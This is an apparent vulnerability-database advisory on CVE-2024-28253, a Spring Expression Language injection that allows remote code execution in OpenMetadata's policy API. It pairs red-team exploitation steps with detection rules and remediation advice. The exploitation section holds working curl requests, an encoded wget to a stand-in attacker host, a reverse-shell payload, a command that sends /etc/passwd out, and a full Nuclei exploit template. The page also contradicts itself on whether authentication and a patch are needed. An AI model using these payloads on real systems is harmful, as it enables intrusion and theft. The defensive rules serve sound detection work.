CVE-2024-28253
Executive Summary
CVE-2024-28253 is a critical severity vulnerability in OpenMetadata, a unified platform for metadata discovery, observability, and governance. The flaw resides in the CompiledRule::validateExpression method, which is invoked during policy creation or update via a PUT request to /api/v1/policies. An attacker can inject malicious Spring Expression Language (SpEL) payloads into the condition field of a policy rule. Due to an authorization bypass (the authorizer.authorize() check occurs after the SpEL expression is evaluated), an unauthenticated or low-privileged attacker can achieve Remote Code Execution (RCE) on the server. The vulnerability has a CVSS score of 9.4 and is actively being weaponized in the wild. No official patch was available at the time of analysis, but upgrading to version 1.3.1 is the recommended remediation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
OpenMetadata is distributed as a Java application (JAR/WAR) and via Docker images. The vulnerability is introduced in the core service code (openmetadata-service). Users should verify the integrity of their OpenMetadata artifacts by checking checksums and signatures provided by the vendor. The use of third-party dependencies (e.g., Spring Framework) does not directly contribute to this vulnerability, but the SpEL injection vector is a known anti-pattern in Spring applications.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
- Base Score: 9.4 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: Low (A:L)
Threat Level: Critical. The vulnerability is remotely exploitable without authentication, has a public PoC (Nuclei template), and is being actively scanned for by threat actors.
Deep Dive & Mechanics
The vulnerability is a classic SpEL injection. The CompiledRule::validateExpression method evaluates a user-supplied string as a SpEL expression without proper sanitization. The call chain is as follows:
- Entry Point:
PUT /api/v1/policieshandled byPolicyResource.createOrUpdate(). - Processing:
EntityResource.createOrUpdate()callsEntityRepository.prepareInternal(). - Vulnerable Call:
prepareInternal()callsPolicyRepository.prepare(), which in turn callsCompiledRule::validateExpression(). - Authorization Bypass: The
authorizer.authorize()check is performed afterprepareInternal(), meaning the SpEL expression is evaluated before any access control is enforced.
An attacker can craft a policy rule with a malicious condition field containing a SpEL payload. For example:
{
"name": "malicious-policy",
"rules": [
{
"name": "rule1",
"description": "test",
"effect": "deny",
"operations": ["All"],
"resources": ["All"],
"condition": "T(java.lang.Runtime).getRuntime().exec('command')"
}
]
}
The SpEL expression is evaluated by the Spring ExpressionParser, allowing arbitrary Java method invocation. This leads to RCE.
Vulnerable vs. Patched Code
Vulnerable Code (version < 1.3.1):
In CompiledRule.java:
public void validateExpression(String expression) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(expression); // No sanitization
// ... further processing
}
Patched Code (version 1.3.1):
The patched version introduces input validation and sanitization. The exact fix is not publicly disclosed, but it likely involves:
- Restricting allowed SpEL constructs (e.g., disallowing
T()and method invocation). - Using a whitelist of allowed expressions.
- Moving the authorization check before the expression evaluation.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running OpenMetadata < 1.3.1.
- Network access to the
/api/v1/policiesendpoint.
Exploitation Steps:
Register a user (if needed):
curl -X POST http://target/api/v1/users/signup \ -H "Content-Type: application/json" \ -d '{"firstName":"test","lastName":"user","email":"attacker@example.com","password":"P@ssw0rd123"}'Login to obtain a JWT token:
curl -X POST http://target/api/v1/users/login \ -H "Content-Type: application/json" \ -d '{"email":"attacker@example.com","password":"P@ssw0rd123"}'Extract the
accessTokenfrom the response.Exploit the SpEL injection:
curl -X PUT http://target/api/v1/policies \ -H "Authorization: Bearer <accessToken>" \ -H "Content-Type: application/json" \ -d '{"name":"exploit","rules":[{"name":"r1","description":"test","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode(\"d2dldCBodHRwOi8vYXR0YWNrZXIuZXhhbXBsZS5jb20vcGF5bG9hZA==\")))"}]}'The Base64-encoded payload
d2dldCBodHRwOi8vYXR0YWNrZXIuZXhhbXBsZS5jb20vcGF5bG9hZA==decodes towget http://attacker.example.com/payload.
Alternative Payloads:
- Reverse shell:
T(java.lang.Runtime).getRuntime().exec("bash -c 'exec bash -i &>/dev/tcp/attacker/4444 <&1'") - Data exfiltration:
T(java.lang.Runtime).getRuntime().exec("curl http://attacker/$(cat /etc/passwd)")
Blue Team (Detection & Hardening)
Detection:
- Monitor for PUT requests to
/api/v1/policieswith unusualconditionfields containing SpEL syntax (e.g.,T(,exec,Runtime). - Alert on high volume of failed authentication attempts followed by policy creation.
- Use the provided YARA and Sigma rules.
Hardening:
- Immediately upgrade to OpenMetadata 1.3.1 or later.
- If upgrade is not possible, implement a WAF rule to block requests containing SpEL patterns in the JSON body.
- Restrict network access to the OpenMetadata API to trusted IPs only.
- Enable audit logging and monitor for anomalous policy creation.
Indicators of Compromise (IOCs)
- Network IOCs:
- PUT requests to
/api/v1/policieswithconditionfields containingT(java.lang.Runtime)orexec. - Outbound connections to unknown IPs/domains from the OpenMetadata server (e.g.,
wget,curl).
- PUT requests to
- File IOCs:
- Unexpected files in
/tmp/or/var/tmp/(e.g.,payload.sh). - Modified policy configuration files.
- Unexpected files in
- Process IOCs:
- Spawning of
bash,sh,wget,curl, orncfrom the Java process.
- Spawning of
- Log IOCs:
- Error logs containing
SpelEvaluationExceptionorExpressionParsingException.
- Error logs containing
Detection Engineering
YARA Rule
rule CVE_2024_28253_SpEL_Injection {
meta:
description = "Detects SpEL injection attempts in OpenMetadata policy creation"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-28253"
strings:
$spel1 = "T(java.lang.Runtime)" ascii wide nocase
$spel2 = "exec(" ascii wide nocase
$spel3 = "getRuntime()" ascii wide nocase
$spel4 = "ProcessBuilder" ascii wide nocase
$spel5 = "java.lang." ascii wide nocase
condition:
any of ($spel*) and #spel1 > 0
}
Sigma Rule
title: OpenMetadata SpEL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-28253 via SpEL injection in policy creation
author: Valters IT
logsource:
category: webserver
product: openmetadata
detection:
selection:
http.method: 'PUT'
http.url: '/api/v1/policies'
http.body|contains:
- 'T(java.lang.Runtime)'
- 'exec('
- 'getRuntime()'
condition: selection
falsepositives:
- Legitimate use of SpEL in policy conditions (rare)
level: critical
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-28253 OpenMetadata SpEL Injection Attempt";
flow:to_server,established;
content:"PUT";
http_method;
content:"/api/v1/policies";
http_uri;
content:"T(java.lang.Runtime)";
http_client_body;
content:"exec(";
http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Nuclei Template (Provided)
id: CVE-2024-28253
info:
name: OpenMetaData - SpEL Injection in PUT /api/v1/policies
author: daffainfo
severity: critical
description: |
OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. `CompiledRule::validateExpression` is also called from `PolicyRepository.prepare`. `prepare()` is called from `EntityRepository.prepareInternal()` which, in turn, gets called from `EntityResource.createOrUpdate()`. Note that even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and therefore after the SpEL expression has been evaluated. In order to reach this method, an attacker can send a PUT request to `/api/v1/policies` which gets handled by `PolicyResource.createOrUpdate()`. This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query and is also tracked as `GHSL-2023-252`. This issue may lead to Remote Code Execution and has been addressed in version 1.3.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.
impact: |
Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
remediation: |
Upgrade to version 1.3.1 or later.
reference:
- https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/
- https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-7vf4-x5m2-r6gr
- https://nvd.nist.gov/vuln/detail/VE-2024-28253
- https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection
- https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
cvss-score: 9.4
cve-id: CVE-2024-28253
cwe-id: CWE-94
epss-score: 0.92001
epss-percentile: 0.99707
cpe: cpe:2.3:a:open-metadata:openmetadata:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: open-metadata
product: openmetadata
shodan-query: http.favicon.hash:"733091897"
fofa-query: icon_hash="733091897"
google-query: intitle:"openmetadata"
tags: cve,cve2024,openmetadata,spel,rce,intrusive,file-upload,oast,vkev
variables:
firstname: "{{rand_base(5)}}"
lastname: "{{rand_base(5)}}"
password: "{{concat(rand_char('!@#$'), rand_base(4, 'abcdef'), rand_base(4, '1234567890'), rand_char('ABCDEF'))}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
POST /api/v1/users/signup HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"firstName":"{{firstname}}","lastName":"{{lastname}}","email":"{{email}}","password":"{{password}}"}
matchers:
- type: dsl
dsl:
- "status_code == 201"
- "contains(content_type, 'application/json')"
- "contains_all(body, 'fullyQualifiedName', 'isBot', 'isAdmin')"
condition: and
internal: true
- raw:
- |
POST /api/v1/users/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{email}}","password":"{{base64(password)}}"}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(content_type, 'application/json')"
- "contains_all(body, 'accessToken', 'tokenType')"
condition: and
internal: true
extractors:
- type: json
name: accessToken
json:
- '.accessToken'
internal: true
- raw:
- |
PUT /api/v1/policies HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{accessToken}}
Content-Type: application/json
{"name":"{{randstr}}","rules":[{"name":"{{randstr}}","description":"{{randstr}}","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('{{base64("wget http://{{interactsh-url}}")}}')))"}]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: status
status:
- 400
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update OpenMetadata to version 1.3.1 or later. This is the only complete fix.
- WAF Rules: Deploy a Web Application Firewall rule to block requests containing
T(java.lang.Runtime)orexec(in the JSON body. - Network Segmentation: Restrict access to the OpenMetadata API to trusted IPs only.
Long-Term Measures:
- Implement input validation for all SpEL expressions in the application.
- Conduct a code review to ensure authorization checks are performed before any expression evaluation.
- Enable comprehensive logging and monitoring for API endpoints that handle user-supplied expressions.
Workarounds:
- None officially available. Disabling the policy creation feature is not recommended as it breaks core functionality.
Valters IT
{/* [Security Hash: 2AD748F16A7CF3B7FE18D498] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.